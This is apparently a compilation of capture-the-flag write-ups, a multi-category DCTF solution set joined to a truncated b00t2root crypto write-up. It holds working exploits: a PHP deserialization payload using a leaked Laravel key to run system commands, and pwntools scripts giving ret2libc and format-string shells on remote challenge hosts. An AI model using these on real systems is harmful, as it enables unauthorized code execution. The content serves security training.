`CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}` ### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting - /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team.``` If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team. Also you can use /decode/{text} to obtain the contents of your private message.``` A new endpoint! `/decode/{text}`. Almost everything we tried to insert as *text* makes the server respond with `bool(false)` If you insert a symbol, you get `File not found`. I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string url = "http://35.198.183.125:30278/decode/" valid_chars = [] headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"} for c in string.printable: r = requests.get(url+c, headers=headers) if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip()) print(''.join(valid_chars))``` The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=` This looks like base64 to me! At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key: `APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=` We also find the decode function used in the Laravel app. ```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }``` This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization? To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php` ```php<?php namespace App\Http\Middleware; use Closure;use Illuminate\Http\Request; class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // } public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}``` If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled. I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16); echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);``` Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==` We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory. ```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D %``` FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}` ## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`. I then tried to extract using `stug` as password: ```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}` ## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests from base64 import b64decodefrom pprint import pprint from Crypto.Cipher import ChaCha20, Salsa20 # {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"} def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return res = json.loads(res.content) pprint(res) key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}") #cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext) cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext) if __name__ == "__main__": main("http://34.89.241.255:30013") # ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match. ### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))``` There is also a hint here about the first 3 null bytes being the best hint we can get. Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes. I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))``` Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}` ## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.sendlineafter("Secret message: ", "#!@{try_hard3r}") pop_rdi = 0x00000000004008f3main = exe.symbols["main"] payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload) io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}") if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so") libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"]) io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload) io.interactive() # ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}``` Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`. ### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.recvline() writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;") io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}``` Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload. ## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`. I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target. The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}` Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256 ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349" def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return "" def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)]) known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc. By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff. We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}` ### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield``` and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}` ### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e} ### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`. At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them. The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings. Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")``` Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag: `ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}` ### dumb-discordWe get a file to reverse: `server.cpython-36.pyc` This is a Python bytecode file that is easy to decompile using *Uncompyle6* ```shelluncompyle6 server.cpython-36.pyc > server.py``` When looking at the code we can see that this is a Discord bot ```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt)) def test(s): data = obfuscate(s.encode()) return data intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/') @client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id)) @client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong @client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag``` The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}` After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role. My guess is that this is the ID of the bot. But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0 This user is called `DCTFTargetWhyNot`. Lets invite it to our own server ![](https://i.imgur.com/yEF7iDl.png) Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command. However, there are two replace methods that removes `/s基ay` and `/getflag` from our message. We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase. ![](https://i.imgur.com/hwRXfvJ.png) Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier: `ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}` ## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding. the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files: ```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png``` with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])]) def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 ) pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}") out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out import re def main(file_list): with open(file_list, "r") as f: files = f.readlines() cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename) fixed = convert_colors(filename) qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data from pprint import pprint pprint(res) flag = "".join([res[i] for i in range(1, 69+1)]) print(flag) if __name__ == "__main__": main("files.txt")``` `CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
# b00t2root 2020 CTF - Crypto Challenges I represent to you my writeups for all Crypto challenges from b00t2root 2020 CTF.![2020-12-07 00_50_28-boot2root](https://user-images.githubusercontent.com/62826765/101377456-215cdc00-38b2-11eb-9146-1ada39a974df.png) ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 1 : _Try try but don't cry_![2020-12-07 17_39_03-boot2root](https://user-images.githubusercontent.com/62826765/101378399-54ec3600-38b3-11eb-9461-bc4896baa4c4.png) We were given a source code :```pythonimport randomdef xor(a,b): l="" for i in range(min(len(a), len(b))): l+=chr(ord(a[i]) ^ ord(b[i])) return l def encrypt(flag): l=random.randrange(2) if(l==0): return flag.encode('base64') elif(l==1): return flag.encode('hex') flag="################"assert(len(flag)==22)c=xor(flag[:11], flag[11:])c=c.encode('hex') n=random.randint(1,20)#print(n) for _ in range(n): c=encrypt(c) f=open('chall.txt', 'w')f.write(c)f.close()```The main problem here is that we don't know when it's Base64 or Hex. So i just wrote a script to decode it manualy by entering H if it's Hex or B if it's Base64, then since i know a part of the flag which is "_b00t2root{}_" with length **11**, I can retrive the flag. **Solver :**```pythonfrom pwn import xorimport base64 cipher = open("chall.txt").read().strip() while len(cipher) != 22: print(cipher) ans = input('> ').strip() if ans == 'H': cipher = bytes.fromhex(cipher).decode() elif ans == 'B': cipher = base64.b64decode(cipher).decode() cipher = bytes.fromhex(cipher).decode()s = b"b00t2root{"s += xor(cipher[-1], '}')t = xor(s, cipher[:len(s)])flag = s+tprint(flag)```![2020-12-07 18_05_58-Kali - VMware Workstation](https://user-images.githubusercontent.com/62826765/101381366-f3c66180-38b6-11eb-91fe-c6b60ddc5f62.png) FLAG is **_b00t2root{fantasticcc}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 2 : _Euler's Empire_![2020-12-07 18_13_22-boot2root](https://user-images.githubusercontent.com/62826765/101382177-f07fa580-38b7-11eb-813d-b948caa5d38d.png) I'll skip this cause it's almost the same challenge as [Time Capsule](https://github.com/pberba/ctf-solutions/blob/master/20190810-crytoctf/crypto-122-time-capsule/time-capsule-solution.ipynb) from Crypto CTF 2019. FLAG is **_b00t2root{Eul3r_w4s_4_G3niu5}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 3 : _007_![2020-12-07 18_29_27-boot2root](https://user-images.githubusercontent.com/62826765/101384040-33db1380-38ba-11eb-9b9c-45e1c41708f9.png) We were given a source code :```pythonimport randomdef rot(s, num): l="" for i in s: if(ord(i) in range(97,97+26)): l+=chr((ord(i)-97+num)%26+97) else: l+=i return l def xor(a, b): return chr(ord(a)^ord(b)) def encrypt(c): cipher = c x=random.randint(1,1000) for i in range(x): cipher = rot(cipher, random.randint(1,26)) cipher = cipher.encode('base64') l = "" for i in range(len(cipher)): l += xor(cipher[i], cipher[(i+1)%len(cipher)]) return l.encode('base64') flag = "#################"print "cipher =", encrypt(flag) #OUTPUT: cipher = MRU2FDcePBQlPwAdVXo5ElN3MDwMNURVDCc9PgwPORJTdzATN2wAN28=```To reverse the xor loop, we have to know the first character of the _cipher_. It should be in [a-z], so with simple bruteforce we can retrieve the correct rotated string. Then we try all rotations from 1 to 26 and get the flag. **Solver :**```pythonimport randomimport base64 def rot(s, num): l="" for i in s: if(ord(i) in range(97,97+26)): l+=chr((ord(i)-97+num)%26+97) else: l+=i return l def xor(a, b): return chr(ord(a)^ord(b)) enc = base64.b64decode("MRU2FDcePBQlPwAdVXo5ElN3MDwMNURVDCc9PgwPORJTdzATN2wAN28=").decode('latin-1') for i in range(97,123): xored = chr(i) j = -1 while j != -len(enc): xored = xor(enc[j],xored[0]) + xored j -= 1 xored = xored[-1] + xored[:-1] try: res = base64.b64decode(xored).decode() for i in range(1, 26): flag = rot(res, i) if "b00t2root{" in flag: print(flag) except: pass``` FLAG is **_b00t2root{Bond. James Bond.}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 4 : _brokenRSA_![2020-12-07 